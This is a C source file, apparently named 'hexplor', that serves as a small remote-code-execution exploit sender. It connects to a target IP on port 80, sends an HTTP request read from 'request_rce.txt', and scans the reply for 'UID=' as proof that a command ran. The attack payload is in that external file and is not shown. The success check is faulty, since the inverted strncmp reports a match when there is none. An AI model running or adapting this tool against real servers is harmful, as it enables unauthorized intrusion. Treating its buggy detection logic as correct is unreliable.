hexplor
72 lines
1.5 KiB
C
72 lines
1.5 KiB
C
#include <sys/socket.h>
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#include <arpa/inet.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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int main(int argc, char** argv){
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if (argc != 2){
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printf("u must specifie IP addr\n");
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exit(1);
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}
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printf("target = %s\n", argv[1]);
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int domain = AF_INET;
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int type = SOCK_STREAM;
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int fd = socket(domain, type, 0);
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printf("fd = %d\n", fd);
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struct sockaddr_in dest_addr;
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memset(&dest_addr, 0, sizeof(dest_addr));
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dest_addr.sin_family = AF_INET;
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dest_addr.sin_port = htons(80);
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dest_addr.sin_addr.s_addr = inet_addr(argv[1]);
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int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr));
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printf("ret_connect = %d\n", ret);
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FILE* fichier_out = fopen("request_rce.txt", "r");
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fseek(fichier_out, 0, SEEK_END);
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int size = fichier_out->_offset;
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char* file_buffer = malloc(size);
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fseek(fichier_out, 0, SEEK_SET);
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fread(file_buffer, 1, size, fichier_out);
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for (int i = 0; i < size; i++){
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char c = file_buffer[i];
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if (c == '\n')
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send(fd, "\r\n", 2, 0);
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else
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send(fd, &c, 1, 0);
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}
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send(fd, "\r\n", 2, 0);
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printf("recv:\n");
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char c = 0;
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int n = 0;
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char* text = calloc(1, 1);
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int len = 0;
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while (( n = recv(fd, &c, 1, 0)) > 0){
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len = strlen(text) + 2;
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text = realloc(text, len);
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text[len - 2] = c;
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text[len - 1] = 0;
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}
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int index = 0;
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while (text[index]){
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if (text[index] == 'U'){
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if (strncmp(text + index, "UID=", 4)){
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printf("pattern found\n");
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break;
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}
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}
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index++;
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}
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fclose(fichier_out);
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free(file_buffer);
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return 0;
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}
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